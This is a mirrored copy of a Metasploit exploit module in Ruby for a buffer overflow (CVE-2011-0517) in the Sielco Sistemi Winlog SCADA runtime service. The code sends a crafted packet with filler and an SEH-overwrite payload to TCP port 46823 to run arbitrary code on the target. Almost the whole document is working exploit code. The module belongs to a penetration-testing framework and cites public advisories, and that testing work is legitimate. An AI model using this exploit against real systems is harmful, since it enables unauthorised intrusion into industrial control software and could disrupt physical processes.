Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/winlog_runtime.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'Sielco Sistemi Winlog Buffer Overflow',14'Description' => %q{15This module exploits a buffer overflow in Sielco16Sistem Winlog <= 2.07.00. When sending a specially formatted17packet to the Runtime.exe service, an attacker may be able to18execute arbitrary code.19},20'Author' => [ 'Luigi Auriemma', 'MC' ],21'License' => MSF_LICENSE,22'References' =>23[24[ 'CVE', '2011-0517' ],25[ 'OSVDB', '70418'],26[ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ],27[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-11-017-02']28],29'Privileged' => false,30'DefaultOptions' =>31{32'EXITFUNC' => 'process',33'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',34},35'Payload' =>36{37'Space' => 450,38'BadChars' => "\x00\x20\x0a\x0d",39'StackAdjustment' => -3500,40},41'Platform' => 'win',42'Targets' =>43[44[ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ],45],46'DefaultTarget' => 0,47'DisclosureDate' => '2011-01-13'))4849register_options([Opt::RPORT(46823)])50end5152def exploit5354connect5556data = [0x02].pack('C') # opcode57data << [0x0101].pack('n')58data << rand_text_alpha_upper(588)59data << generate_seh_payload(target.ret)6061print_status("Trying target #{target.name}...")62sock.put(data)6364handler65disconnect6667end68end697071